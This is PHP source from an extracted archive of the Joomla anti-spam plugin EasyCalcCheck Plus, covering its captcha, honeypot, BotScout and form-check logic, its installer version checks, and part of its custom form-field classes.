        if ($this->hCaptcha() && !$this->hCaptcha->validateInput()) {
            return false;
        }

        // Botscout - Check the IP Address
        // Further information: http://botscout.com/
        if ($this->getParams('botScout') && $this->getParams('botScoutKey')) {
            $url = 'http://botscout.com/test/?ip=' . Helper::getSession('ipAddress') . '&key=' . $this->getParams('botScoutKey');

            // Function test - Comment out to test - Important: Enter a active Spam-IP
            // $ip = '87.103.128.199';
            // $url = 'http://botscout.com/test/?ip='.$ip.'&key='.$this->getParams('botScoutKey');

            $response = false;
            $isSpam = '';

            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_POST, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $response = curl_exec($ch);
                curl_close($ch);
            }

            if ($response) {
                $isSpam = substr($response, 0, 1);
            } else {
                $response = @fopen($url, 'r');

                if ($response) {
                    while (!feof($response)) {
                        $line = fgets($response, 1024);
                        $isSpam = substr($line, 0, 1);
                    }

                    fclose($response);
                }
            }

            if ((string)$isSpam === 'Y' && (bool)$response === true) {
                return false; // Spam-IP - failed
            }
        }

        // No spam detected!
        Helper::clearSession('ipAddress');
        Helper::clearSession('savedData');
        $this->loadEccCheck = false;

        return true;
    }

    /**
     * Gets the self defined question for the loaded language
     *
     * @return array
     * @since 3.2.0-FREE
     */
    private function getSelfDefinedQuestion(): array
    {
        $questions = $this->getParams('questions');

        if (empty($questions)) {
            return [];
        }

        $languageTag = $this->app->getLanguage()->getTag();

        foreach ($questions as $question) {
            if ($question->languageTag === $languageTag) {
                return (array)$question;
            }
        }

        return [];
    }

    /**
     * Loads the hCaptcha class if the option is enabled and keys are provided
     *
     * @return bool
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    private function hCaptcha(): bool
    {
        if (!$this->getParams('hcaptcha')) {
            return false;
        }

        if (!$this->getParams('hcaptchaSiteKey') || !$this->getParams('hcaptchaSecret')) {
            return false;
        }

        if (empty($this->hCaptcha)) {
            require_once __DIR__ . '/src/libraries/services/hCaptcha.php';
            $this->hCaptcha = new hCaptcha($this->getParams('hcaptchaSiteKey'), $this->getParams('hcaptchaSecret'));
        }

        return true;
    }

    /**
     * Calls checks for supported extensions
     *
     * @param string $option
     * @param string $task
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    private function callChecks(string $option, string $task): void
    {
        $checkFailed = false;
        $view = $this->request->get('view', '', 'WORD');

        if ($option === 'com_users') {
            if ($task === 'reset.request' || $task === 'remind.remind') {
                if (!$this->performChecks()) {
                    $checkFailed = true;
                }
            } elseif ($task === 'user.login') {
                if ($this->performChecks()) {
                    Helper::clearSession('failedLoginAttempts');
                } else {
                    $checkFailed = true;
                }
            }
        } elseif ($option === 'com_mailto' && $task === 'send') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_easybookreloaded' && $task === 'save') {
            if (!$this->performChecks()) {
                Helper::setSession('easybookreloaded', 1);
                $checkFailed = true;
            }
        } elseif ($option === 'com_phocaguestbook' && $task === 'phocaguestbook.submit') {
            if (!$this->performChecks()) {
                Helper::setSession('phocaguestbook', 1);
                $checkFailed = true;
            }
        } elseif ($option === 'com_comprofiler' && ($task === 'sendNewPass' || $view === 'sendnewpass' || $view === 'saveregisters' || $task === 'saveregisters')) {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_dfcontact' && !empty($_REQUEST["submit"])) {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_foxcontact' && $task === 'form.send') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif (($option === 'com_flexicontact' || $option === 'com_flexicontactplus') && $task === 'send') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_kunena' && $task === 'post') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_alfcontact' && $task === 'sendemail') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_community' && $task === 'register_save') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_virtuemart' && ($task === 'mailAskquestion' || $task === 'registercheckoutuser' || $task === 'savecheckoutuser' || $task === 'registercartuser' || $task === 'savecartuser' || $task === 'saveUser')) {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_aicontactsafe') {
            $sTask = $this->request->get('sTask', '', 'STRING');

            if (($sTask === 'message') && !$this->performChecks()) {
                $checkFailed = true;
            }
        } elseif ($option === 'com_iproperty' && $task === 'property.sendRequest') {
            if (!$this->performChecks()) {
                $checkFailed = true;
            }
        }

        if ($checkFailed === true) {
            $this->perfomChecksFailed();
        }
    }

    /**
     * Creates the head information for the reCaptcha implementation
     *
     * @param array $head
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function getRecaptchaHead(array &$head): void
    {
        if ($this->getParams('recaptchaPublicKey') && $this->getParams('recaptchaPrivateKey')) {
            $head[] = '<script type="text/javascript" src="https://www.google.com/recaptcha/api.js?onload=onloadCallback&render=explicit&hl=' . substr(Factory::getLanguage()->getTag(), 0, 2) . '" defer async></script>';
            $head[] = '<script type="text/javascript">var onloadCallback = function() {grecaptcha.render("recaptcha", {"sitekey" : "' . $this->getParams('recaptchaPublicKey') . '", "theme" : "' . (string)$this->getParams('recaptchaTheme') . '"});};</script>';
            $head[] = '<style>.ecc-recaptcha{margin-top: 5px;}</style>';
        }
    }

    /**
     * Detects whether the plugin routine has to be loaded and call the checks
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    public function onAfterRender(): void
    {
        // Custom call check - call it here because we need access to the output
        if (!$this->loadEcc && $this->getParams('customCall')) {
            $this->customCall();
        }

        if (!$this->loadEcc) {
            return;
        }

        $option = $this->request->get('option', '', 'WORD');

        // Read in content of the output
        $body = $this->app->getBody();

        // Get form of extension
        preg_match('@' . $this->extensionInfo[1] . '@isU', $body, $matchExtension);

        // Form was not found, the template probably uses overrides, try it with the detection of the task or set error message for debug mode
        if (empty($matchExtension)) {
            // Try to find the form by the task if provided
            if (!empty($this->extensionInfo[4])) {
                // Get all forms on the loaded page and find the correct form by the task value
                preg_match_all('@<form[^>]*>.*</form>@isU', $body, $matchExtensionForms);

                if (!empty($matchExtensionForms)) {
                    foreach ($matchExtensionForms[0] as $matchExtensionForm) {
                        if (preg_match('@<form[^>]*>.*value=["|\']' . $this->extensionInfo[4] . '["|\'].*</form>@isU', $matchExtensionForm, $matchExtension)) {
                            break;
                        }
                    }
                }
            }

            if (empty($matchExtension)) {
                $this->app->enqueueMessage(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_WARNING_FORMNOTFOUND'), 'error');
            }
        }

        // Fill in form input values if the check failed previously (_warning_shown is set)
        if (!empty($this->warningShown) && $this->getParams('autofillValues')) {
            $this->fillForm($body, $matchExtension);
        }

        // Hidden field
        if (!empty($matchExtension) && $this->getParams('typeHidden')) {
            $patternSearchString = '@' . $this->extensionInfo[2] . '@isU';
            preg_match_all($patternSearchString, $matchExtension[0], $matches);

            if (empty($matches[0])) {
                $this->app->enqueueMessage(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_WARNING_NOHIDDENFIELD'), 'error');
            } else {
                $count = random_int(0, count($matches[0]) - 1);
                $searchStringHidden = $matches[0][$count];

                // Generate random variable
                $hiddenField = Helper::randomString();
                $hiddenFieldLabel = Helper::randomString();

                Helper::setSession('hiddenField', $hiddenField);
                Helper::setSession('hiddenFieldLabel', $hiddenFieldLabel);

                // Line width for obfuscation
                $addString = '<label class="' . Helper::getSession('hiddenClass') . '" for="' . $hiddenFieldLabel . '"></label><input type="text" id="' . $hiddenFieldLabel . '" name="' . $hiddenField . '" size="30" class="inputbox ' . Helper::getSession('hiddenClass') . '" />';

                // Yootheme Fix - Put the hidden field in an own div container to avoid displacement of other fields
                if (preg_match('@<div[^>]*>\s*' . preg_quote($searchStringHidden, '@') . '@isU', $matchExtension[0], $matchesDiv)) {
                    $searchStringHidden = $matchesDiv[0];
                }

                if (isset($searchStringHidden)) {
                    $body = str_replace($searchStringHidden, $addString . $searchStringHidden, $body);
                }
            }
        }

        // Calc check
        if (!empty($matchExtension) && ($this->getParams('typeCalc') || $this->getParams('recaptcha') || $this->getParams('hcaptcha') || $this->getParams('question'))) {
            // Without overrides
            $patternOutput = '@' . $this->extensionInfo[3] . '@isU';

            if (preg_match($patternOutput, $matchExtension[0], $matches)) {
                $searchStringOutput = $matches[0];
            } else {
                // Alternative search string from settings
                $stringAlternative = $this->getParams('stringAlternative');

                if (!empty($stringAlternative)) {
                    $pattern = '@' . $stringAlternative . '@isU';

                    if (preg_match($pattern, $matchExtension[0], $matches)) {
                        $searchStringOutput = $matches[0];
                    }
                }

                // With overrides
                if (!isset($searchStringOutput)) {
                    // Artisteer Template
                    if (preg_match('@<span class=".*-button-wrapper">@isU', $matchExtension[0], $matches)) {
                        $searchStringOutput = $matches[0];
                    }

                    // Rockettheme Template
                    if (preg_match('@<div class="readon">@isU', $matchExtension[0], $matches)) {
                        $searchStringOutput = $matches[0];
                    }

                    // String still not found - take the submit attribute
                    if (!isset($searchStringOutput)) {
                        if (preg_match('@<[^>]*type="submit".*>@isU', $matchExtension[0], $matches)) {
                            $searchStringOutput = $matches[0];
                        }
                    }
                }
            }

            $addString = '<!-- EasyCalcCheck Plus - Kubik-Rubik Joomla! Extensions --><div id="easycalccheckplus">';

            if ($this->getParams('typeCalc')) {
                Helper::setSession('spamcheck', Helper::randomString());

                // Determine operator
                $operator = 1;

                if ((int)$this->getParams('operator') === 2) {
                    $operator = random_int(1, 2);
                } elseif ((int)$this->getParams('operator') === 1) {
                    $operator = 2;
                }

                $operand = (int)$this->getParams('operand');

                // Determine max. operand
                $maxValue = $this->getParams('maxValue', 20);

                $spamCheck1 = random_int(1, $maxValue);
                $spamCheck2 = random_int(1, $maxValue);
                $spamCheck3 = random_int(0, $maxValue);

                if ($operator === 2 && !(bool)$this->getParams('negative')) {
                    $spamCheck1 = random_int($maxValue / 2, $maxValue);
                    $spamCheck2 = random_int(1, $maxValue / 2);

                    if ($operand === 3) {
                        $spamCheck3 = random_int(0, $spamCheck1 - $spamCheck2);
                    }
                }

                if ($operator === 1) // Addition
                {
                    if ($operand === 2) {
                        Helper::setSession('spamcheckresult', base64_encode($spamCheck1 + $spamCheck2));
                    } elseif ($operand === 3) {
                        Helper::setSession('spamcheckresult', base64_encode($spamCheck1 + $spamCheck2 + $spamCheck3));
                    }
                } elseif ($operator === 2) // Subtraction
                {
                    if ($operand === 2) {
                        Helper::setSession('spamcheckresult', base64_encode($spamCheck1 - $spamCheck2));
                    } elseif ($operand === 3) {
                        Helper::setSession('spamcheckresult', base64_encode($spamCheck1 - $spamCheck2 - $spamCheck3));
                    }
                }

                $addString .= '<div><label for="' . Helper::getSession('spamcheck') . '">' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_SPAMCHECK');

                if ($operator === 1) {
                    if ($this->getParams('convertToString')) {
                        if ($operand === 2) {
                            $addString .= Helper::convertToString($spamCheck1) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_PLUS') . ' ' . Helper::convertToString($spamCheck2) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        } elseif ($operand === 3) {
                            $addString .= Helper::convertToString($spamCheck1) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_PLUS') . ' ' . Helper::convertToString($spamCheck2) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_PLUS') . ' ' . Helper::convertToString($spamCheck3) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        }
                    } else {
                        if ($operand === 2) {
                            $addString .= $spamCheck1 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_PLUS') . ' ' . $spamCheck2 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        } elseif ($operand === 3) {
                            $addString .= $spamCheck1 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_PLUS') . ' ' . $spamCheck2 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_PLUS') . ' ' . $spamCheck3 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        }
                    }
                } elseif ($operator === 2) {
                    if ($this->getParams('convertToString')) {
                        if ($operand === 2) {
                            $addString .= Helper::convertToString($spamCheck1) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_MINUS') . ' ' . Helper::convertToString($spamCheck2) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        } elseif ($operand === 3) {
                            $addString .= Helper::convertToString($spamCheck1) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_MINUS') . ' ' . Helper::convertToString($spamCheck2) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_MINUS') . ' ' . Helper::convertToString($spamCheck3) . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        }
                    } else {
                        if ($operand === 2) {
                            $addString .= $spamCheck1 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_MINUS') . ' ' . $spamCheck2 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        } elseif ($operand === 3) {
                            $addString .= $spamCheck1 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_MINUS') . ' ' . $spamCheck2 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_MINUS') . ' ' . $spamCheck3 . ' ' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_EQUALS') . ' ';
                        }
                    }
                }

                $addString .= '</label>';
                $addString .= '<input type="text" name="' . Helper::getSession('spamcheck') . '" id="' . Helper::getSession('spamcheck') . '" size="3" class="inputbox ' . Helper::randomString() . ' validate-numeric required" value="" required="required" />';
                $addString .= '</div>';

                // Show warnings
                if ($this->getParams('warnReference') && !$this->getParams('autofillValues')) {
                    $addString .= '<p><img src="' . Uri::root() . 'plugins/system/easycalccheckplus/src/libraries/warning.png" alt="' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_WARNING') . '" /> ';
                    $addString .= '<strong>' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_WARNING') . '</strong><br /><small>' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_WARNING_DESC') . '</small>';

                    if ($this->getParams('convertToString')) {
                        $addString .= '<br /><small>' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_CONVERTWARNING') . '</small><br />';
                    }

                    $addString .= '</p>';
                } elseif ($this->getParams('convertToString')) {
                    $addString .= '<p><small>' . Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_CONVERTWARNING') . '</small></p>';
                }
            }

            // Self-Defined Question
            if ($this->getParams('question')) {
                $question = $this->getSelfDefinedQuestion();

                if (!empty($question)) {
                    Helper::setSession('question', Helper::randomString());
                    $size = strlen($question['answer']) + random_int(0, 2);

                    $addString .= '<div><label for="' . Helper::getSession('question') . '">' . $question['question'] . '</label><input type="text" name="' . Helper::getSession('question') . '" id="' . Helper::getSession('question') . '" size="' . $size . '" class="inputbox ' . Helper::randomString() . ' required" value="" /></div>';
                }
            }

            // ReCaptcha
            if ($this->getParams('recaptcha') && $this->getParams('recaptchaPublicKey') && $this->getParams('recaptchaPrivateKey')) {
                $addString .= '<div class="ecc-recaptcha"><div class="g-recaptcha" id="recaptcha"></div></div>';
            }

            // hCaptcha
            if ($this->hCaptcha()) {
                $addString .= '<div class="ecc-hcaptcha">' . $this->hCaptcha->getHtmlContent((string)$this->getParams('hCaptchaTheme')) . '</div>';
            }

            $addString .= '</div>';

            if (isset($searchStringOutput)) {
                $replaceString = $addString;

                if (!$this->customCall) {
                    $replaceString = $addString . $searchStringOutput;
                }

                $body = str_replace($searchStringOutput, $replaceString, $body);
            }
        }

        // Encode fields - since 2.5-8 in all forms where ECC+ is loaded
        if (!$this->debugPlugin && $this->getParams('encode')) {
            $extensionInfoException = $this->extensionInfo[5] ?? '';
            Helper::encodeFields($body, $matchExtension[0], $extensionInfoException);
        }

        // Set body content after all modifications have been applied
        $this->app->setBody($body);

        // Get IP address
        Helper::setSession('ipAddress', Helper::getIpAddress());

        // Set session variable for error output - Phoca Guestbook / Easybook Reloaded
        if ($option === 'com_phocaguestbook') {
            Helper::setSession('phocaguestbook', 0);
        } elseif ($option === 'com_easybookreloaded') {
            Helper::setSession('easybookreloaded', 0);
        }

        // Set redirect url
        Helper::setSession('redirectUrl', Uri::getInstance()->toString());
        Helper::setSession('eccLoaded', true);

        // Time Lock
        if ($this->getParams('typeTime')) {
            Helper::setSession('time', time());
        }
    }

    /**
     * Prepares the custom call for the correct output
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    private function customCall(): void
    {
        // Read in content of the output
        $body = $this->app->getBody();

        if (preg_match("@(<form[^>]*>)(.*)(" . self::CUSTOM_CALL_SYNTAX . ")(.*</form>)@Us", $body, $matches)) {
            // Workaround to get the correct form if several form attributes are provided on the loaded page
            if (strripos($matches[2], '<form') !== false) {
                $matches[0] = substr($matches[2], strripos($matches[2], '<form')) . $matches[3] . $matches[4];

                // Set a new matches array with the correct form
                preg_match("@(<form[^>]*>)(.*)(" . self::CUSTOM_CALL_SYNTAX . ")(.*)(</form>)@Us", $matches[0], $matches);
            }

            if (!empty($matches)) {
                // Remove the syntax for signed-in users who should not see the spam check
                if (!$this->loadEccUserContext()) {
                    $body = str_replace(self::CUSTOM_CALL_SYNTAX, '', $body);
                    $this->app->setBody($body);

                    return;
                }

                // Custom call string was found, set needed class attribute
                $this->customCall = true;

                // Clean the cache of the component first
                Helper::cleanCache();

                // The request does not have to be validated, so get all information for the output of the checks
                $customCallForm = $matches[0];
                $customCallFormContent = $matches[2] . $matches[4];

                // Do some general checks to get needed information from the form of the unknown extension
                // Hidden field - check whether labels are used if not take the input tags
                $customCallHiddenRegex = '<input.+>';

                if (strripos($customCallFormContent, '<label') !== false) {
                    $customCallHiddenRegex = '<label.+>';
                }

                // Get task value of the form
                $customCallFormTask = '';

                if (strripos($customCallFormContent, 'name="task"') !== false) {
                    preg_match('@<input[^>]+name="task".+>@sU', $customCallFormContent, $matchTask);

                    if (preg_match('@value="(.+)"@', $matchTask[0], $matchValue)) {
                        $customCallFormTask = $matchValue[1];
                    }
                }

                // Set the extension info array for the further execution with the collected information
                // Array -> (name, form, regex for hidden field, regex for output, task, request exception for encode option);
                $this->loadEcc = true;
                $this->extensionInfo = [
                    $this->request->get('option', '', 'WORD'),
                    preg_quote($customCallForm, '@'),
                    $customCallHiddenRegex,
                    '{easycalccheckplus}',
                    $customCallFormTask,
                ];

                // Set the needed CSS instructions - since we are already in the trigger onAfterRender, we have to manipulate the output manually
                $head = [];
                $head[] = '<style>#easycalccheckplus {margin: 8px 0 !important; padding: 2px !important;}</style>';

                if ($this->getParams('typeHidden')) {
                    Helper::setSession('hiddenClass', Helper::randomString());
                    $head[] = '<style>.' . Helper::getSession('hiddenClass') . ' {display: none !important;}</style>';
                }

                if ($this->getParams('recaptcha')) {
                    $this->getRecaptchaHead($head);
                }

                $head = implode("\n", $head) . "\n";

                // Set body after the modifications have been applied
                $body = str_replace('</head>', $head . '</head>', $body);
                $this->app->setBody($body);

                // Set the custom call session variable - Get all possible request variable of the loaded form
                preg_match_all('@name=["|\'](.*)["|\']@Us', $matches[0], $matchesRequestVariables);
                $keysExclude = ['option', 'view', 'layout', 'id', 'Itemid', 'task', 'controller', 'func'];
                $customCallRequestVariables = array_diff($matchesRequestVariables[1], $keysExclude);

                // Remove hidden input fields from the custom call session variable
                foreach ($customCallRequestVariables as $customCallRequestVariableKey => $customCallRequestVariable) {
                    if (preg_match('@<input[^>]*name=["|\']' . preg_quote($customCallRequestVariable, '@') . '["|\'][^>]*>@isU', $matches[0], $customCallFieldNameMatch)) {
                        if (stripos($customCallFieldNameMatch[0], 'type="hidden"') !== false || stripos($customCallFieldNameMatch[0], "type='hidden'") !== false) {
                            unset($customCallRequestVariables[$customCallRequestVariableKey]);
                        }
                    }
                }

                Helper::setSession('checkCustomCall', $customCallRequestVariables);
            }
        }
    }

    /**
     * Fills the form with the entered data from the user - autofill function
     *
     * @param string $body
     * @param array  $matchExtensionMain
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function fillForm(string &$body, array &$matchExtensionMain): void
    {
        $autofill = Helper::getSession('savedData');

        if (!empty($autofill)) {
            // Get form of extension
            $patternForm = '@' . $this->extensionInfo[1] . '@isU';
            preg_match($patternForm, $body, $matchExtension);

            $patternInput = '@<input[^>].*/?>@isU';
            preg_match_all($patternInput, $matchExtension[0], $matchesInput);

            foreach ($matchesInput[0] as $inputValue) {
                foreach ($autofill as $key => $autofillValue) {
                    if ($autofillValue !== '') {
                        $value = '@name=("|\')' . preg_quote($key, '@') . '("|\')@isU';

                        if (preg_match($value, $inputValue)) {
                            $value = '@value=("|\').*("|\')@isU';

                            if (preg_match($value, $inputValue, $match)) {
                                $patternValue = '/' . preg_quote($match[0], '/') . '/isU';
                                $inputValueReplaced = preg_replace($patternValue, 'value="' . $autofillValue . '"', $inputValue);

                                // Set the value to the body and the extension form for further modifications
                                $body = str_replace($inputValue, $inputValueReplaced, $body);
                                $matchExtensionMain[0] = str_replace($inputValue, $inputValueReplaced, $matchExtensionMain[0]);
                                unset($autofill[$key]);
                                break;
                            }
                        }
                    }
                }
            }

            $patternTextarea = '@<textarea[^>].*>(.*</textarea>)@isU';
            preg_match_all($patternTextarea, $matchExtension[0], $matchesTextarea);

            $count = 0;

            foreach ($matchesTextarea[0] as $textareaValue) {
                foreach ($autofill as $key => $autofillValue) {
                    $value = '@name=("|\')' . preg_quote($key, '@') . '("|\')@';

                    if (preg_match($value, $textareaValue)) {
                        $patternValue = '@' . preg_quote($matchesTextarea[1][$count], '@') . '@isU';
                        $textareaValueReplaced = preg_replace($patternValue, $autofillValue . '</textarea>', $textareaValue);

                        // Set the value to the body and the extension form for further modifications
                        $body = str_replace($textareaValue, $textareaValueReplaced, $body);
                        $matchExtensionMain[0] = str_replace($textareaValue, $textareaValueReplaced, $matchExtensionMain[0]);
                        unset($autofill[$key]);
                        break;
                    }
                }

                $count++;
            }

            Helper::clearSession('savedData');
        }
    }

    /**
     * Detects whether the plugin routine has to be loaded and call the checks
     *
     * Do not use type declarations for function arguments here to avoid
     * TypeError errors if the plugin trigger is called with wrong types.
     *
     * @param object $contact
     * @param array  $post
     *
     * @return bool
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    public function onValidateContact($contact, $post): bool
    {
        if ($this->loadEccCheck === true) {
            $option = $this->request->get('option', '', 'WORD');

            if ($option === 'com_contact' && $this->getParams('contact')) {
                if (!$this->performChecks()) {
                    $this->perfomChecksFailed();
                }
            }
        }

        return true;
    }

    /**
     * Detect whether the plugin routine has to be loaded and call the checks
     *
     * Do not use type declarations for function arguments here to avoid
     * TypeError errors if the plugin trigger is called with wrong types.
     *
     * @param array $user
     * @param bool  $isnew
     * @param array $new
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    public function onUserBeforeSave($user, $isnew, $new): void
    {
        if (($this->loadEccCheck === true) && !empty($isnew)) {
            $option = $this->request->get('option', '', 'WORD');

            if (($this->getParams('userRegistration') && $option === 'com_users') || ($this->getParams('communitybuilder') && $option === 'com_comprofiler')) {
                if (!$this->performChecks()) {
                    $this->perfomChecksFailed();
                }
            }
        }
    }

    /**
     * Detects whether the plugin routine has to be loaded and call the checks
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public function onUserLoginFailure(): void
    {
        $failedLoginAttempts = Helper::getSession('failedLoginAttempts');
        Helper::setSession('failedLoginAttempts', $failedLoginAttempts + 1);
    }

    /**
     * Successful login, clear sessions variable
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public function onUserLogin(): void
    {
        Helper::clearSession('failedLoginAttempts');
    }

    /**
     * The cache plugin should not cache form pages where ECC+ is loaded
     *
     * @return bool
     * @since 3.3.0.0-FREE
     */
    public function onPageCacheIsExcluded(): bool
    {
        $customCallSession = Helper::getSession('checkCustomCall');

        return $this->loadEcc || $this->loadEccCheck || $customCallSession !== null;
    }
}
PK!mʼ&>> easycalccheckplus/src/Script.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * @license        GNU/GPL
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program. If not, see <http://www.gnu.org/licenses/>.
 */
defined('_JEXEC') || die('Restricted access');

class PlgSystemEasyCalcCheckPlusInstallerScript
{
    public const MIN_VERSION_JOOMLA = '3.9.0';
    public const MIN_VERSION_PHP = '7.3.0';

    /**
     * Name of extension that is used in the error message
     *
     * @var string
     *
     * @since 3.2.0-FREE
     */
    protected $extensionName = 'EasyCalcCheck Plus';

    /**
     * Checks compatibility in the preflight event
     *
     * @param $type
     * @param $parent
     *
     * @return bool
     * @throws Exception
     * @since 3.2.0-FREE
     */
    public function preflight($type, $parent)
    {
        if (!$this->checkVersionJoomla()) {
            return false;
        }

        if (!$this->checkVersionPhp()) {
            return false;
        }

        return true;
    }

    /**
     * Checks whether the Joomla! version meets the requirement
     *
     * @return bool
     * @throws Exception
     * @since 3.2.0-FREE
     */
    private function checkVersionJoomla()
    {
        // Using deprecated JVersion, JFactory and JText classes to avoid exceptions in old Joomla! versions
        $version = new JVersion();

        if (!$version->isCompatible(self::MIN_VERSION_JOOMLA)) {
            JFactory::getApplication()->enqueueMessage(JText::sprintf('KRJE_ERROR_JOOMLA_VERSION', $this->extensionName, self::MIN_VERSION_JOOMLA), 'error');

            return false;
        }

        return true;
    }

    /**
     * Checks whether the PHP version meets the requirement
     *
     * @return bool
     * @throws Exception
     * @since 3.2.0-FREE
     */
    private function checkVersionPhp()
    {
        if (!version_compare(phpversion(), self::MIN_VERSION_PHP, 'ge')) {
            JFactory::getApplication()->enqueueMessage(JText::sprintf('KRJE_ERROR_PHP_VERSION', $this->extensionName, self::MIN_VERSION_PHP), 'error');

            return false;
        }

        return true;
    }
}
PK!'easycalccheckplus/src/fields/index.htmlnu�[���PK!1H@@+easycalccheckplus/src/fields/krproinput.phpnu�[���<?php

/**
 * @copyright
 * @package     Field - Kubik-Rubik Pro Input
 * @author      Viktor Vogel <admin@kubik-rubik.de>
 * @version     Joomla! 3 - 3.1.1 - 2020-12-04
 * @link        https://kubik-rubik.de/
 *
 * @license     GNU/GPL
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('JPATH_PLATFORM') || die('Restricted access');

use Joomla\CMS\{Form\FormField, Language\Text};

/**
 * Form Field class for Kubik-Rubik Joomla! Extensions.
 */
class JFormFieldKrProInput extends FormField
{
    protected $type = 'krProInput';

    protected function getInput()
    {
        $placeholder = 'PRO FEATURE';

        if (!empty($this->default)) {
            $placeholder .= ' (' . Text::_($this->default) . ')';
        }

        return '<input type="text" name="' . $this->name . '" id="' . $this->id . '" value="" size="40" placeholder="' . $placeholder . '" disabled="disabled" style="color: #A50F0F; background-color: #FFF; display: inline-block;opacity: 0.9 !important;"/>';
    }
}
PK!�b�ؤ�(easycalccheckplus/src/fields/krtitle.phpnu�[���<?php

/**
 * @copyright
 * @package     Field - Kubik-Rubik Title
 * @author      Viktor Vogel <admin@kubik-rubik.de>
 * @version     Joomla! 3 - 3.5.4 - 2021-02-17
 * @link        https://kubik-rubik.de
 *
 * @license     GNU/GPL
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('JPATH_PLATFORM') || die('Restricted access');

use Joomla\CMS\{Form\FormField, Factory, Language\Text};

/**
 * Form Field class for Kubik-Rubik Joomla! Extensions.
 * Provides a custom title and description field.
 */
class JFormFieldKrTitle extends FormField
{
    /**
     * @var string $type
     */
    protected $type = 'krTitle';

    /**
